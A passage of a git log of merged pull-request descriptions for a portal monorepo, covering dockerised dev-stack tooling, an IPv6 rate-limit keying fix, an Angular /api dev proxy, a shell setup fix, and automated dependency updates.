After this PR, `./infra/local/dev.sh up all` brings up the comprehensive dev stack — infra + `dbtools` + `observability` + `apps` — and `serve-static` stays available via the explicit `./infra/local/dev.sh up serve-static` invocation when a developer actually wants to test a production build.

## Root cause

`dev.compose.yml` publishes port 4200 in two services:

- `portal-shell` (profile `apps`): `${SHELL_PORT:-4200}:4200` — Angular dev-server.
- `serve-static` (profile `serve-static`): `${SERVE_STATIC_PORT:-4200}:4200` — Caddy serving the production build.

`dev.sh`'s `ALL_PROFILES` array was used both as:
1. the teardown / status / logs scope (so a manually-started profile is still reachable for `down` and friends), **and**
2. the expansion target for `up all`.

Conflating the two meant `up all` always tried to start `serve-static` even when `apps` was in scope — and the Docker port-publishing collision aborted the whole `up`.

## Fix

Split the two concerns:

```bash
# Every profile that exists — teardown / status / logs scope.
ALL_PROFILES=(dbtools observability serve-static apps)

# What `up all` expands to — serve-static excluded.
UP_ALL_PROFILES=(dbtools observability apps)
```

`serve-static` stays accessible:

- via explicit `dev.sh up serve-static` (the original way),
- via `dev.sh down` / `status` / `logs` (still in `ALL_PROFILES`).

Why exclude `serve-static` from `up all` rather than `apps`:

- `apps` is the new "no native toolchain" dev mode (ADR-0030) — it _is_ what a comprehensive dev `up` should boot.
- `serve-static` has zero value without a prior `nx build --configuration=production` (Caddy serves an empty `dist/` → 404 everywhere). Auto-starting it in `up all` would put a 404-machine in the stack by default.
- The port number can stay at the Angular convention (4200) for the dev-server, which matches the devcontainer's `forwardPorts`.

## What lands

| File | Change |
| --- | --- |
| `infra/local/dev.sh` | Split `ALL_PROFILES` (teardown scope) and `UP_ALL_PROFILES` (`up all` scope). Inline comment explains the exclusion of `serve-static`. Usage text updated. |
| `infra/README.md` | Cheat-sheet row for `up all` clarifies the new behaviour. |

## Out of scope

The script is **environment-agnostic** — it works identically when invoked on the local workstation or on `vm-dev`. Port publishing is on `0.0.0.0` by default, so services are reachable from a remote browser via the VM IP without any script change. The user-visible difference is only the URL host (`localhost:4200` locally vs `<vm-ip>:4200` from the workstation against the VM). No local-vs-vm mode in the script.

## Test plan

- [x] `bash -n infra/local/dev.sh` passes.
- [x] `./infra/local/dev.sh help` shows the updated `up all` description.
- [ ] **On vm-dev**: `./infra/local/dev.sh up all` brings up postgres / redis / otel-collector / pgweb / jaeger / apps-deps (exits 0) / portal-bff / portal-shell / portal-admin without port conflicts; `serve-static` is **not** started.
- [ ] `./infra/local/dev.sh up serve-static` (explicit) still starts Caddy on 4200, provided `apps` is **not** already up.
- [ ] `./infra/local/dev.sh down` and `status` still see serve-static if it was started manually (ALL_PROFILES retains it).

## Related

- Surfaced by the ADR-0030 dockerised dev mode VM validation — `up all` was added to the user-facing surface in that PR; this PR finishes wiring it.
- The port collision was flagged as a caveat in the ADR-0030 PR body ("don't run `apps` and `serve-static` together"). This PR turns the caveat into a script invariant instead of relying on the user to remember.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #261
2026-06-01 13:07:08 +02:00
julien f9f5f171eb fix(security): normalize IPv6 in rate-limit keyGenerator (ADR-0021) (#260)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 4m45s
CI / check (push) Successful in 5m17s
CI / a11y (push) Successful in 1m48s
CI / perf (push) Successful in 6m55s
## Summary

Fix `ERR_ERL_KEY_GEN_IPV6` raised by `express-rate-limit` at BFF boot: the rate-limit middleware's custom `keyGenerator` was using `req.ip` verbatim, which the library v8 refuses because it lets an IPv6 attacker rotate through the host bits of their own subnet to escape per-IP rate-limiting. Surfaced during the ADR-0030 dockerised dev mode validation (the boot log shows the `ValidationError` immediately after the rate-limit middleware is built).

## Root cause

`apps/portal-bff/src/security/rate-limit.middleware.ts` returned:

```ts
return `ip:${req.ip ?? 'unknown'}`;
```

`req.ip` is the raw address the IP-trust chain hands Express. For IPv4 that's already the right bucket key. For IPv6, every distinct host in an attacker's allocation hashes to a different bucket — even though the same human controls all of them. An attacker on a residential IPv6 assignment (typically `/56`) thus has ~2^72 trivially-rotatable buckets per `/56`, which makes the per-IP rate limit useless against them.

`express-rate-limit` v7+ ships an `ipKeyGenerator` helper that **truncates the address to its `/56` prefix** before keying. The library v8 raises `ERR_ERL_KEY_GEN_IPV6` at boot if a custom `keyGenerator` returns `req.ip` verbatim, precisely to refuse shipping this bypass.

## Fix

| File | Change |
| --- | --- |
| `apps/portal-bff/src/security/rate-limit.middleware.ts` | Import `ipKeyGenerator` from `express-rate-limit`; wrap `req.ip` through it when keying. IPv4 addresses pass through unchanged; IPv6 addresses get truncated to their `/56`. Comment explains the rationale + that the lib's `/56` default matches a typical residential ISP customer allocation. |
| `apps/portal-bff/src/security/rate-limit.middleware.spec.ts` | New test asserting two IPv6 addresses in the same `/56` share a bucket (the bypass would have set both apart), and that distinct `/56`s remain isolated (truncation does not collapse all IPv6 traffic into one global bucket). Existing IPv4 / session / `SKIP_PATHS` tests are unchanged and still pass — `ipKeyGenerator` is a no-op for IPv4. |

The session-keyed branch (`s:${sessionID}`) is untouched: sessions key on the BFF-issued session id, not the address.

## Why the BFF kept booting despite the error

The log shows `bootstrap` reaching `AuthModule` immediately after the `ValidationError` printout. `express-rate-limit` v8's `errorHandler` defaults to logging the error and continuing rather than throwing for this specific validation, so the middleware was effectively running with the unfixed `keyGenerator` until now — i.e. the bypass was live in the dev BFF. Fixed pre-emptively, before any prod consumer.

## Related

- Per [ADR-0021](docs/decisions/0021-phase-2-security-baseline.md) — Phase-2 security baseline, rate-limit section.
- Surfaced by the ADR-0030 dockerised dev mode validation (the SPA `/api/auth/me` proxy errors visible in the same log run were a side effect of the BFF restarting on every config validator until the env was fully populated; unrelated to this fix).

## Test plan

- [x] `pnpm exec nx test portal-bff --testFile=apps/portal-bff/src/security/rate-limit.middleware.spec.ts` — 794 tests pass, including the new `/56` isolation case.
- [ ] Restart the BFF (`./infra/local/dev.sh restart portal-bff`) — `ERR_ERL_KEY_GEN_IPV6` no longer appears in the boot log.
- [ ] IPv4 traffic still rate-limits as before (existing test coverage; no behavioural change since `ipKeyGenerator` is identity for v4).

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #260
2026-06-01 12:31:54 +02:00
julien a84ea2d116 feat(spa): proxy /api in dev-server, relative bffApiBaseUrl (#259)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 4m39s
CI / check (push) Successful in 7m6s
CI / a11y (push) Successful in 2m38s
CI / perf (push) Successful in 7m52s
## Summary

Make the SPAs reach the BFF as a **same-origin** call via an Angular dev-server `/api` proxy. Solves the "Backend unreachable" error surfaced during the ADR-0030 dockerised dev mode VM validation when the SPA is accessed from a remote browser (e.g. `http://<vm-ip>:4200/`), and bypasses CORS in dev altogether. Follow-up to the just-merged ADR-0030 implementation.

## Root cause it fixes

Before this PR, both SPAs hardcoded `bffApiBaseUrl: 'http://localhost:3000/api'` (per ADR-0018) and the BFF's `CORS_ALLOWED_ORIGINS` only allowed `http://localhost:4200,http://localhost:4300`. Both assumptions hold for native `nx serve` (developer on the same machine as the BFF) but break the moment the browser sits on a different host than the BFF — exactly the case for the ADR-0030 `apps` Compose profile: open `http://<vm-ip>:4200/` from your workstation and the SPA's `localhost:3000` call hits your **workstation's** loopback (nothing there), not the VM's BFF. Even if the URL were right, the origin `http://<vm-ip>:4200` is not in the CORS allowlist.

## Fix

Switch to a same-origin dev pattern: the Angular dev-server proxies `/api/*` to the BFF, and `environment.ts` uses a relative `'/api'` URL.

| File | Change |
| --- | --- |
| `apps/portal-shell/proxy.conf.js` | **New.** Maps `/api → ${BFF_TARGET:-http://localhost:3000}` (JS form so the env var can swap the target at startup). |
| `apps/portal-admin/proxy.conf.js` | **New.** Same shape. |
| `apps/portal-shell/project.json`, `apps/portal-admin/project.json` | `serve.options.proxyConfig` points at the new file. |
| `apps/portal-shell/src/environments/environment.ts`, `apps/portal-admin/src/environments/environment.ts` | `bffApiBaseUrl: 'http://localhost:3000/api'` → `'/api'`. The comment block explains the rationale + how production siblings can still use an absolute origin if SPA + BFF live on different hosts. |
| `apps/portal-shell/src/observability/tracing.ts` | `new URL(environment.bffApiBaseUrl)` would throw on a relative URL — resolved against `window.location.origin` so both relative (dev) and absolute (prod cross-origin) bases work. |
| `infra/local/dev.compose.yml` | `BFF_TARGET=http://portal-bff:3000` added to `portal-shell` and `portal-admin` so the proxy hits the BFF **container** by name (Compose DNS) when the `apps` profile is up. Native `nx serve` leaves the var unset and falls back to `localhost:3000`. |

## Why a relative URL is safe

- `${bffApiBaseUrl}/health` etc. compose to `/api/health` — relative paths work in `fetch` / `HttpClient`.
- `tracing.ts` propagates `traceparent` on requests whose origin matches the BFF origin. Resolving the relative base against `window.location.origin` gives the current page's origin, which is exactly the origin the dev-server proxy serves from — so the regex still matches the right requests in dev. In a future cross-origin production deployment, `environment.prod.ts` can set an absolute `bffApiBaseUrl`; the URL constructor's second arg is ignored when the first is absolute, so the same code path keeps working.
- Auth flow (`feature-auth` / `auth.config.ts`): consumes `bffApiBaseUrl` via DI as a string prefix — agnostic to absolute vs relative.

## Scope notes

- The OTel HTTP exporter (`environment.otlpEndpoint = 'http://localhost:4318/v1/traces'`) and the cross-SPA links (`adminAppUrl`, `shellAppUrl`) **remain absolute**. They hit the same remote-browser problem on `apps`-profile access, but neither is blocking the user-visible "Backend unreachable" path this PR targets. Out of scope here; a follow-up could either proxy them too or surface them via runtime config.
- This pattern is dev-server only — production builds do not use the proxy. Per-environment `bffApiBaseUrl` overrides remain the supported lever (ADR-0018), unchanged.

## Test plan

- [x] `docker compose -f dev.compose.yml --profile apps config` still validates.
- [ ] **On the VM**, `./infra/local/dev.sh up apps`, then in the workstation browser open `http://<vm-ip>:4200/` → SPA loads, the "Backend unreachable" message is gone, network tab shows `/api/...` calls succeeding (same-origin, no CORS preflight).
- [ ] Native `nx serve portal-shell` still works (the proxy falls back to `localhost:3000`).
- [ ] Trace headers (`traceparent`) appear on `/api/*` fetches in the browser network tab.
- [ ] `pnpm exec nx affected -t test build` green on the two SPAs.

## Related

- [ADR-0030](docs/decisions/0030-dockerised-dev-mode.md) — the dockerised dev mode this enables to actually work from a remote browser.
- [ADR-0018](docs/decisions/0018-environment-configuration-strategy.md) — the `environment.ts` per-env strategy this complements (does not supersede — production behaviour unchanged).

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #259
2026-06-01 11:39:40 +02:00
julien c080d1ad89 feat(infra): dockerised full-stack dev mode — apps compose profile (ADR-0030) (#258)
CI / scan (push) Successful in 3m8s
CI / commits (push) Has been skipped
CI / check (push) Successful in 3m58s
CI / a11y (push) Successful in 4m38s
Docs site / build (push) Successful in 7m47s
CI / perf (push) Successful in 8m53s
## Summary

Implements [ADR-0030](../docs/decisions/0030-dockerised-dev-mode.md) (now `accepted`): a Docker Compose `apps` profile that runs the three Nx dev servers (`portal-bff`, `portal-shell`, `portal-admin`) from a shared `Dockerfile.dev`, so a developer can boot the whole stack with **no native Node/pnpm**:

```bash
./infra/local/dev.sh up apps   # infra + portal-bff:3000 + portal-shell:4200 + portal-admin:4300
```

Purely additive and profile-gated — the native `nx serve` flow and the devcontainer are untouched. Dev-only; no production images (those stay with the ADR-0028 Container Registry work).

## What lands

| File | Change |
| --- | --- |
| `docs/decisions/0030-dockerised-dev-mode.md` | Status `proposed` → `accepted`. |
| `docs/decisions/README.md` | Index status → `accepted`. |
| `infra/local/Dockerfile.dev` | **New.** `node:24-bookworm` + corepack (pnpm resolved from `packageManager` at runtime — no pinned version to drift). No COPY/install at build time. `NX_DAEMON=false`, `NODE_OPTIONS=--max-old-space-size=4096`. |
| `infra/local/dev-entrypoint.sh` | **New.** Shared entrypoint: BFF (`APF_ROLE=bff`) runs `prisma generate` + `prisma migrate deploy` then serves; SPA services go straight to `nx serve`. |
| `infra/local/dev.compose.yml` | **New `apps` profile.** A one-shot `apps-deps` service installs into a shared `node_modules` volume once (the 3 servers gate on its `service_completed_successfully`, avoiding a 3-way install race); `portal-bff` / `portal-shell` / `portal-admin` services from the shared image via a `x-app-base` anchor. Repo bind-mounted; `node_modules` + `.nx` in named volumes. |
| `infra/local/dev.sh` | `apps` added to `ALL_PROFILES` (so teardown / status / logs catch it) + usage / examples. |
| `infra/README.md` | New "Dockerised app dev mode" section + cheat-sheet / file-table rows. |
| `docs/setup/01-dev-debian-vm-setup.md` | "Three dev modes — which when" table at the top of Step 5. |
| `CLAUDE.md` | Architecture roll-up bullet + ADR-count line + environment-conventions note. |

## Key design decisions

- **One image, one install.** The monorepo means a single `Dockerfile.dev` + a single `pnpm install` serves all three apps.
- **`node_modules` + `.nx` in named volumes, not bind-mounted.** The container's install (native modules — `esbuild`, `@swc/core`, Prisma engines, `lmdb`, `@parcel/watcher` — built for this image) must never be shadowed by the host's `node_modules`. The repo source is bind-mounted for hot reload; these two directories are overlaid with named volumes.
- **`apps-deps` one-shot avoids the install race.** Three services sharing one `node_modules` volume can't all run `pnpm install` concurrently. A dedicated install service runs first; the three app services `depends_on` its completion.
- **`NX_DAEMON=false`** in the containers — three containers sharing one workspace would otherwise contend on the Nx daemon.
- **Env wiring.** The BFF reuses its own `apps/portal-bff/.env` (Entra / session / jwks secrets) via `env_file: { required: false }`; the host-specific URLs (`DATABASE_URL` / `REDIS_URL` / OTel endpoint) are overridden in `environment:` — rebuilt from `infra/local/.env` creds → Compose service names. Compose `environment` wins over `env_file`, so the localhost values in the BFF `.env` don't leak into the container.
- **BFF still needs its secrets.** "No native toolchain" ≠ "no config". `apps/portal-bff/.env` must exist (same as native dev); `required: false` lets SPA-only devs `up` without it (the BFF then fails its own boot validators with a clear message).

## Validation on the VM

- [x] `docker compose -f dev.compose.yml --profile apps config` validates (YAML, anchors / merge, env interpolation).
- [x] `bash -n` clean on `dev-entrypoint.sh` and `dev.sh`.
- [x] **Full boot on vm-dev** — `./infra/local/dev.sh up apps` brings up postgres / redis / otel + `apps-deps` (one-shot, exit 0) + portal-bff / portal-shell / portal-admin, all containers report healthy or running.
- [x] `apps-deps` populates the shared `node_modules` volume; the three servers reach their `nx serve` step without re-installing.
- [x] Ports published as expected: BFF :3000, portal-shell :4200, portal-admin :4300.
- [x] `./infra/local/dev.sh up` (no `apps`) unchanged for native devs.

## Follow-ups identified during VM validation

- **SPA → BFF reachability from a remote browser.** Opening `http://<vm-ip>:4200/` from the workstation surfaces a "Backend unreachable" message: the SPA's hardcoded `bffApiBaseUrl: 'http://localhost:3000/api'` (ADR-0018 build-time env) plus the BFF's `CORS_ALLOWED_ORIGINS=http://localhost:4200,…` both assume "browser on the same machine as the BFF", which doesn't hold here. Fixed in the **stacked follow-up PR `feat/spa-dev-proxy`** (proxy `/api` in the Angular dev-server + relative `bffApiBaseUrl`), which lands right after this PR.
- The OTel HTTP exporter URL (`environment.otlpEndpoint`) and the cross-SPA links (`adminAppUrl`, `shellAppUrl`) remain absolute and hit the same remote-browser limit; not blocking for v1, can be revisited if needed.

## Related

- [ADR-0030](docs/decisions/0030-dockerised-dev-mode.md) — the decision (accepted in this PR's chain).
- [ADR-0020](docs/decisions/0020-portal-admin-app.md) — the devcontainer this complements.
- [ADR-0028](docs/decisions/0028-migrate-cicd-and-git-hosting-to-gitlab.md) — production images / Container Registry (deferred).
- Follow-up branch `feat/spa-dev-proxy` — the SPA-side proxy fix that makes the dockerised mode usable from a remote browser.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #258
2026-06-01 11:11:44 +02:00
julien 8a2a99c351 docs(decisions): add ADR-0030 dockerised full-stack dev mode (proposed) (#256)
CI / check (push) Successful in 1m48s
CI / commits (push) Has been skipped
CI / a11y (push) Successful in 4m50s
CI / scan (push) Successful in 5m24s
CI / perf (push) Successful in 7m15s
Docs site / build (push) Successful in 3m17s
## Summary

Propose **ADR-0030 — Dockerised full-stack dev mode**: an `apps` Compose profile that runs the three Nx apps (`portal-bff`, `portal-shell`, `portal-admin`) from a shared `Dockerfile.dev`, so a developer can `docker compose up` the whole stack with **no native Node/pnpm** on the host.

`proposed` status — this PR is the **decision record only**. The `Dockerfile.dev` + the `apps` profile + the BFF entrypoint land in a follow-up PR once the ADR is accepted.

## Why

Two frictions motivate it:
1. Infra is already in Docker (`infra/local/dev.compose.yml`), but the Nx apps run natively — every dev pays the nvm/corepack/pnpm setup cost. The recent fresh-VM `.zshrc` nvm gap is a concrete example of that path breaking.
2. A developer asked to run all servers with a single `docker compose up`, no toolchain, no IDE attach.

## Decision (chosen option)

An **`apps` Compose profile** backed by **one shared `Dockerfile.dev`** (node:24 + pinned pnpm), because it is purely additive:
- `./infra/local/dev.sh up` stays infra-only (native + devcontainer flows unchanged).
- `./infra/local/dev.sh up apps` brings up infra + the three dev servers with hot reload.

Key design points captured in the ADR (built in the follow-up): one image / one install for the monorepo; repo bind-mounted but `node_modules` + Nx cache in **named volumes** (native-module arch correctness); `depends_on … service_healthy`; BFF entrypoint does `prisma generate` + `migrate deploy`; services point at the existing `apf-portal-dev` Compose network.

The ADR documents a "which mode when" table so the **three** dev modes (native / devcontainer / compose-`apps`) coexist without confusion.

## Scope guardrails

- **Dev-only.** No production images here — those are tracked against the ADR-0028 Container Registry follow-up (post-cutover). The ADR is explicit that it produces no deployment artefact.
- Complements ADR-0020's devcontainer (interactive/IDE) with a non-interactive services sibling; does not replace it.

## Numbering

Takes **0030**, not 0029. `0029` is reserved for the cascade/Pléiades/Acteurs+ syncs ADR (referenced by ADR-0026/0027/0028); numbers are never reused, so the dev-mode ADR takes the next free slot. The index gap at 0029 is intentional until that ADR is written.

## What lands

| File | Change |
| --- | --- |
| `docs/decisions/0030-dockerised-dev-mode.md` | New ADR, `proposed`. |
| `docs/decisions/README.md` | Index row for 0030. |

## Test plan

- [x] MADR 4.0.0 frontmatter; tags drawn from the README vocabulary (`infrastructure`, `process`).
- [x] Index updated in the same commit (per the repo's index-maintenance rule).
- [ ] R&D Lead review → accept / revise. On acceptance: update the CLAUDE.md architecture roll-up + add the "which mode when" guidance to `docs/setup/`, then open the implementation PR.

## Related

- [ADR-0020](docs/decisions/0020-portal-admin-app.md) — VSCode devcontainer (the interactive no-toolchain path this complements).
- [ADR-0028](docs/decisions/0028-migrate-cicd-and-git-hosting-to-gitlab.md) — Container Registry / production images (the deferred prod-image work).
- [ADR-0006](docs/decisions/0006-persistence-postgresql-prisma.md) — Prisma; the entrypoint applies (never authors) migrations.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #256
2026-05-29 19:06:07 +02:00
julien 645f81a443 fix(setup): mirror nvm init into .zshrc so zsh sees node + pnpm (#255)
CI / scan (push) Successful in 3m11s
CI / commits (push) Has been skipped
CI / check (push) Successful in 3m47s
CI / a11y (push) Successful in 4m31s
CI / perf (push) Successful in 7m5s
Docs site / build (push) Successful in 6m47s
## Summary

Fix the dev-VM bootstrap so `node` and `pnpm` are on `PATH` in zsh sessions. On a fresh VM provisioned with `docs/setup/scripts/`, a freshly-cloned checkout fails to run anything (`command not found: pnpm`, and `node` too) because the nvm init never reaches the interactive shell.

## Root cause

Two setup scripts interact badly:

- `20-zsh.sh` patches `~/.bashrc` with an `exec zsh -l` hand-off on interactive shells (chsh is blocked on the corp VM, so this is how zsh becomes the effective shell), and patches `~/.zshrc` with theme/plugins/fzf only.
- `40-node.sh` runs the upstream nvm installer, which appends its init block to **`~/.bashrc`** (its default target).

Because `20-zsh.sh` runs first, the `exec zsh -l` guard sits **above** the nvm block in `~/.bashrc`. On every interactive shell, bash execs into zsh before reaching the nvm block — so it never runs — and `~/.zshrc` has no nvm init at all. Net result: zsh sessions have neither `node` nor `pnpm` on `PATH`, even though nvm + Node + corepack installed correctly.

This is a procedure bug, not a one-off: every VM built from these scripts hits it.

## Fix

`40-node.sh` now mirrors the nvm init block into `~/.zshrc` after enabling corepack — idempotent via a managed marker, same pattern `20-zsh.sh` already uses for its `~/.bashrc` patch:

```sh
# Managed by docs/setup/scripts/40-node.sh — nvm init for zsh.
export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"
[ -s "$NVM_DIR/bash_completion" ] && \. "$NVM_DIR/bash_completion"
```

`docs/setup/01-dev-debian-vm-setup.md` — the `40-node.sh` row in the bootstrap table now notes the `~/.zshrc` patch and why it is needed.

## What lands

| File | Change |
| --- | --- |
| `docs/setup/scripts/40-node.sh` | Append an idempotent nvm-init block to `~/.zshrc` after corepack enable. |
| `docs/setup/01-dev-debian-vm-setup.md` | Document the `~/.zshrc` nvm patch in the `40-node.sh` table row. |

## Manual remediation for already-provisioned VMs

VMs built before this fix won't be retroactively patched (the scripts are idempotent and skip already-installed nvm). On those, run once:

```sh
cat >> ~/.zshrc <<'EOF'

# nvm
export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"
[ -s "$NVM_DIR/bash_completion" ] && \. "$NVM_DIR/bash_completion"
EOF
exec zsh -l
```

(Or re-run `40-node.sh` once this lands — the marker check makes it safe; it will add the block and skip the rest.)

## Test plan

- [x] `bash -n docs/setup/scripts/40-node.sh` — syntax valid.
- [x] Manual remediation block verified on the affected VM: after appending + `exec zsh -l`, `node --version` (v24) and `pnpm --version` (10.34.1) both resolve.
- [ ] Next fresh VM bootstrap: `node` + `pnpm` resolve in the first zsh session with no manual step.
- [ ] Re-running `40-node.sh` on an already-set-up VM is a no-op on the nvm install and adds the `~/.zshrc` block exactly once (marker idempotency).

## Related

- `docs/setup/01-dev-debian-vm-setup.md` — dev-VM bootstrap procedure.
- `20-zsh.sh` — owns the `.bashrc` → zsh hand-off this fix complements.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #255
2026-05-29 18:55:30 +02:00
APF Portal Bot 741fc07d40 fix(deps): update dependency ioredis to v5.11.0 (#254)
CI / commits (push) Has been skipped
CI / check (push) Successful in 5m50s
CI / scan (push) Successful in 4m33s
CI / a11y (push) Successful in 3m1s
CI / perf (push) Successful in 7m19s
Docs site / build (push) Successful in 4m51s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [ioredis](https://github.com/luin/ioredis) | dependencies | minor | [`5.10.1` -> `5.11.0`](https://renovatebot.com/diffs/npm/ioredis/5.10.1/5.11.0) |

---

### Release Notes

<details>
<summary>luin/ioredis (ioredis)</summary>

### [`v5.11.0`](https://github.com/luin/ioredis/blob/HEAD/CHANGELOG.md#5110-2026-05-26)

[Compare Source](https://github.com/luin/ioredis/compare/v5.10.1...v5.11.0)

##### Bug Fixes

- prevent RangeError from string accumulation in pipeline ([#&#8203;2088](https://github.com/luin/ioredis/issues/2088)) ([defc077](https://github.com/luin/ioredis/commit/defc07716a9ef10c2077ec4e23ea48cb9ea731fc))
- replace deprecated url.parse() with WHATWG URL API ([#&#8203;2081](https://github.com/luin/ioredis/issues/2081)) ([0021a45](https://github.com/luin/ioredis/commit/0021a4590e286aabbf27f4e2fc18f9d2de829ef0)), closes [redis/ioredis#1747](https://github.com/redis/ioredis/issues/1747)

##### Features

- add array commands, typings and tests ([#&#8203;2114](https://github.com/luin/ioredis/issues/2114)) ([baf68d6](https://github.com/luin/ioredis/commit/baf68d6d89553672cfac3e08543467b910b561c5))
- add increx command ([#&#8203;2115](https://github.com/luin/ioredis/issues/2115)) ([37d0695](https://github.com/luin/ioredis/commit/37d0695b212d865ef24132acff85420ae51dde50))
- add Redis MSETEX support ([#&#8203;2111](https://github.com/luin/ioredis/issues/2111)) ([04a4615](https://github.com/luin/ioredis/commit/04a4615e8e96b9c58d017e360b5eaafede8973d0))
- add typed GCRA command support and functional tests ([#&#8203;2094](https://github.com/luin/ioredis/issues/2094)) ([468a802](https://github.com/luin/ioredis/commit/468a8023cd2c8f342ec7c55a01bf0c8d17e4b877))
- add vector set command support ([#&#8203;2116](https://github.com/luin/ioredis/issues/2116)) ([b7b3def](https://github.com/luin/ioredis/commit/b7b3defbd119d07fb86d071d5eefc255db4920c2))
- Add xnack command ([#&#8203;2103](https://github.com/luin/ioredis/issues/2103)) ([187d29b](https://github.com/luin/ioredis/commit/187d29b45000ee46a4baa8ce91eacfa04675aee8))
- Add zinter zunion count ([#&#8203;2104](https://github.com/luin/ioredis/issues/2104)) ([0d510bb](https://github.com/luin/ioredis/commit/0d510bbc1cfc8b01d862b76c408f6687f6e77809))
- Implement `TracingChannel` support ([#&#8203;2089](https://github.com/luin/ioredis/issues/2089)) ([4760e0a](https://github.com/luin/ioredis/commit/4760e0a19c194f29f4feb703003dcf046e4509cd))

#### [5.10.1](https://github.com/luin/ioredis/compare/v5.10.0...v5.10.1) (2026-03-19)

##### Bug Fixes

- **cluster:** lazily start sharded subscribers ([#&#8203;2090](https://github.com/luin/ioredis/issues/2090)) ([4f167bb](https://github.com/luin/ioredis/commit/4f167bb9f494f0e8200a20dedd8bbdf1810fcd22))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/254
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-29 14:26:41 +02:00
APF Portal Bot 3ac408aca9 fix(deps): update dependency helmet to v8.2.0 (#253)
CI / check (push) Successful in 4m51s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m26s
CI / a11y (push) Successful in 3m32s
CI / perf (push) Successful in 6m17s
Docs site / build (push) Successful in 5m28s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [helmet](https://helmet.js.org/) ([source](https://github.com/helmetjs/helmet)) | dependencies | minor | [`8.1.0` -> `8.2.0`](https://renovatebot.com/diffs/npm/helmet/8.1.0/8.2.0) |

---

### Release Notes

<details>
<summary>helmetjs/helmet (helmet)</summary>

### [`v8.2.0`](https://github.com/helmetjs/helmet/blob/HEAD/CHANGELOG.md#820---2026-05-21)

[Compare Source](https://github.com/helmetjs/helmet/compare/v8.1.0...v8.2.0)

- `Cross-Origin-Opener-Policy`: support `noopener-allow-popups`. See [#&#8203;522](https://github.com/helmetjs/helmet/pull/522)
- Improve error message when passing duplicate options

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #253
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-29 13:49:21 +02:00
APF Portal Bot 377524ce3f chore(deps): update typescript tooling to v8.60.0 (#252)
CI / check (push) Successful in 4m48s
CI / commits (push) Has been skipped
CI / a11y (push) Successful in 4m1s
CI / scan (push) Successful in 4m54s
CI / perf (push) Successful in 8m18s
Docs site / build (push) Successful in 6m48s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@typescript-eslint/utils](https://typescript-eslint.io/packages/utils) ([source](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/utils)) | devDependencies | minor | [`8.59.4` -> `8.60.0`](https://renovatebot.com/diffs/npm/@typescript-eslint%2futils/8.59.4/8.60.0) |
| [typescript-eslint](https://typescript-eslint.io/packages/typescript-eslint) ([source](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint)) | devDependencies | minor | [`8.59.4` -> `8.60.0`](https://renovatebot.com/diffs/npm/typescript-eslint/8.59.4/8.60.0) |

---

### Release Notes

<details>
<summary>typescript-eslint/typescript-eslint (@&#8203;typescript-eslint/utils)</summary>

### [`v8.60.0`](https://github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/utils/CHANGELOG.md#8600-2026-05-25)

[Compare Source](https://github.com/typescript-eslint/typescript-eslint/compare/v8.59.4...v8.60.0)

This was a version bump only for utils to align it with other projects, there were no code changes.

See [GitHub Releases](https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.60.0) for more information.

You can read about our [versioning strategy](https://typescript-eslint.io/users/versioning) and [releases](https://typescript-eslint.io/users/releases) on our website.

</details>

<details>
<summary>typescript-eslint/typescript-eslint (typescript-eslint)</summary>

### [`v8.60.0`](https://github.com/typescript-eslint/typescript-eslint/blob/HEAD/packages/typescript-eslint/CHANGELOG.md#8600-2026-05-25)

